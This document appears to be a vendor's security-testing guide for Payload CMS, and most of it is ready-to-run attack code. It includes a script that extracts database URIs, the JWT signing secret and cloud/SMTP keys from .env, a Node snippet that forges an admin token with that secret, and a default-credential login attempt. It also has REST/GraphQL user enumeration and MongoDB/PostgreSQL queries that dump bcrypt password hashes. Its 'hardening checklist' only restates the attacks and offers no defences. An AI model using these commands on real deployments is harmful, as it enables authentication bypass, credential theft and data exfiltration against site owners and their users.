Payload CMS Security Testing: Default Credentials, API Key, Database, and CMS

Payload CMS is a modern TypeScript/Node.js headless CMS supporting MongoDB and PostgreSQL, rapidly growing in adoption. Key assessment areas: .env MONGODB_URI or POSTGRES_URL exposes database credentials; PAYLOAD_SECRET signs all JWTs — extraction enables admin token forgery; admin at /admin; the users collection stores bcrypt hashes; and the REST and GraphQL APIs provide full access to collection data. This guide covers systematic Payload CMS security assessment.

Table of Contents

  1. .env MONGODB_URI, POSTGRES_URL, and PAYLOAD_SECRET Extraction
  2. REST API, GraphQL, and Admin Assessment
  3. MongoDB/PostgreSQL users Hash and Collection Extraction
  4. Payload CMS Security Hardening

.env MONGODB_URI, POSTGRES_URL, and PAYLOAD_SECRET Extraction

# Payload CMS — .env MONGODB_URI, POSTGRES_URL, and PAYLOAD_SECRET extraction
PAYLOAD_URL="https://site.example.com"

# .env — Payload CMS primary configuration
python3 -c "
import re
content = open('/var/www/payload/.env').read()
for var in ['MONGODB_URI', 'POSTGRES_URL', 'DATABASE_URI', 'PAYLOAD_SECRET',
            'S3_ACCESS_KEY', 'S3_SECRET_KEY', 'SMTP_PASS', 'EMAIL_FROM_ADDRESS']:
    m = re.search(rf'{var}=(.+)', content)
    if m: print(f'{var}: {m.group(1).strip()[:80]}')
" 2>/dev/null
# MONGODB_URI: mongodb+srv://user:password@cluster.mongodb.net/db  (CRITICAL)
# POSTGRES_URL: postgresql://user:password@host:5432/db            (CRITICAL)
# PAYLOAD_SECRET: jwt-signing-secret  — forging admin JWT bypasses all auth

# Check .env web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAYLOAD_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"

# Payload admin at /admin (configurable in payload.config.ts via admin.meta.titleSuffix)
for ADMIN_PATH in "/admin" "/admin/login"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAYLOAD_URL}${ADMIN_PATH}" 2>/dev/null)
  echo "${ADMIN_PATH}: HTTP ${STATUS}"
done

# Test admin credentials via Payload REST login endpoint
curl -s -X POST "${PAYLOAD_URL}/api/users/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@site.com","password":"admin"}' 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
if d.get('token'): print('JWT token:', d['token'][:80])
if d.get('user'): print('User:', d['user'].get('email'), '| id:', d['user'].get('id'))
if d.get('errors'): print('Error:', d['errors'])
" 2>/dev/null

REST API, GraphQL, and Admin Assessment

# Payload CMS REST API, GraphQL, and JWT forgery assessment
PAYLOAD_URL="https://site.example.com"
PAYLOAD_SECRET="extracted-payload-secret"

# Forge admin JWT using PAYLOAD_SECRET (Payload uses jsonwebtoken)
node -e "
const jwt = require('jsonwebtoken');
// Payload JWT payload: { id, collection, email, ...customData }
const token = jwt.sign(
  { id: '000000000000000000000001', collection: 'users', email: 'forged@admin.com' },
  '${PAYLOAD_SECRET}',
  { expiresIn: '3600s' }
);
console.log(token);
" 2>/dev/null

# REST API user enumeration (requires admin token)
JWT_TOKEN="eyJ..."
curl -s "${PAYLOAD_URL}/api/users?limit=100" \
  -H "Authorization: JWT ${JWT_TOKEN}" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
for u in d.get('docs', []):
    print(f'{u.get(\"email\")} | id={u.get(\"id\")} | roles={u.get(\"roles\")} | verified={u.get(\"_verified\")}')
" 2>/dev/null

# GraphQL API — collection enumeration
curl -s -X POST "${PAYLOAD_URL}/api/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: JWT ${JWT_TOKEN}" \
  -d '{"query":"{ Users(limit: 50) { docs { id email roles _verified } } }"}' \
  2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
users = d.get('data', {}).get('Users', {}).get('docs', [])
for u in users: print(f'{u[\"email\"]} | roles={u.get(\"roles\")} | verified={u.get(\"_verified\")}')
" 2>/dev/null

# Payload versions collection — draft content
curl -s "${PAYLOAD_URL}/api/posts/versions?limit=20&where[version._status][equals]=draft" \
  -H "Authorization: JWT ${JWT_TOKEN}" 2>/dev/null | head -10

MongoDB/PostgreSQL users Hash and Collection Extraction

# Payload CMS — MongoDB users hash and collection extraction
MONGO_URI="mongodb://user:password@localhost:27017/payload"

# MongoDB shell — users collection bcrypt hash extraction
mongosh "${MONGO_URI}" --quiet --eval '
// users — Payload user accounts with bcrypt hashes
db.users.find(
  { },
  { email: 1, password: 1, roles: 1, _verified: 1,
    loginAttempts: 1, lockUntil: 1, createdAt: 1 }
).sort({ createdAt: 1 }).limit(20).forEach(function(u) {
  const adminRole = (u.roles || []).includes("admin");
  print(u.email + " | admin=" + adminRole + " | verified=" + u._verified +
        " | hash=" + (u.password || "").slice(0, 40) + " | locked=" + (u.lockUntil ? "yes" : "no"));
});
// password: bcrypt hash ($2b$...)
// roles: ["admin"] = full Payload admin access
// _verified: false = unverified account (may still have admin access)

// Enumerate all collections (Payload stores each content type as a separate collection)
db.adminCommand({ listCollections: 1, nameOnly: true }).cursor.firstBatch.forEach(function(c) {
  print(c.name + ": " + db[c.name].countDocuments({}));
});

// payload-preferences — stored user preferences (may contain tokens)
db["payload-preferences"].find({}, { user: 1, key: 1, value: 1 }).limit(10).forEach(function(p) {
  print("user=" + p.user + " | key=" + p.key + " | value=" + JSON.stringify(p.value).slice(0,80));
});
' 2>/dev/null

# PostgreSQL equivalent (Payload 2.x with Drizzle/PostgreSQL adapter)
psql "${POSTGRES_URL}" -c "
SELECT id, email, password, roles, _verified, login_attempts,
       lock_until, created_at
FROM users
ORDER BY created_at
LIMIT 20;
" 2>/dev/null

Payload CMS Security Hardening

Payload CMS Security Hardening Checklist:
Security TestMethodRisk
.env PAYLOAD_SECRET JWT signing key extraction enabling admin token forgeryRead .env — PAYLOAD_SECRET; forge jwt.sign({id, collection:'users', email}, secret) — valid admin JWT without passwordCritical
.env MONGODB_URI or POSTGRES_URL database credential extractionRead .env — MONGODB_URI/POSTGRES_URL password; full database access to users collection bcrypt hashes and all contentCritical
users collection bcrypt hash extraction with roles:admin identificationMongoDB db.users.find() or PostgreSQL SELECT — password ($2b$ bcrypt) + roles admin array; bcrypt requires GPU crackingHigh
REST API /api/users and GraphQL Users collection enumerationGET /api/users with admin JWT — enumerate all users, emails, roles, and verified status; POST /api/graphql Users queryHigh
Admin credential brute-force at /api/users/login without rate limitingPOST /api/users/login JSON — email/password; no rate limiting by default; successful auth returns JWT for full collection accessHigh

Automate Payload CMS Security Testing

Ironimo tests Payload CMS deployments for .env MONGODB_URI, POSTGRES_URL, and PAYLOAD_SECRET web accessibility, PAYLOAD_SECRET JWT forgery to generate admin tokens without credentials, admin credential brute-force at /api/users/login rate limiting assessment, users collection bcrypt hash extraction with roles:admin identification, REST API /api/users and GraphQL /api/graphql Users enumeration, collection access control audit for access:() => true public exposure, upload collection MIME type validation bypass for web shell upload, /api/graphql introspection endpoint exposure, versions collection draft content enumeration, and npm audit dependency CVE cross-reference.

Start free scan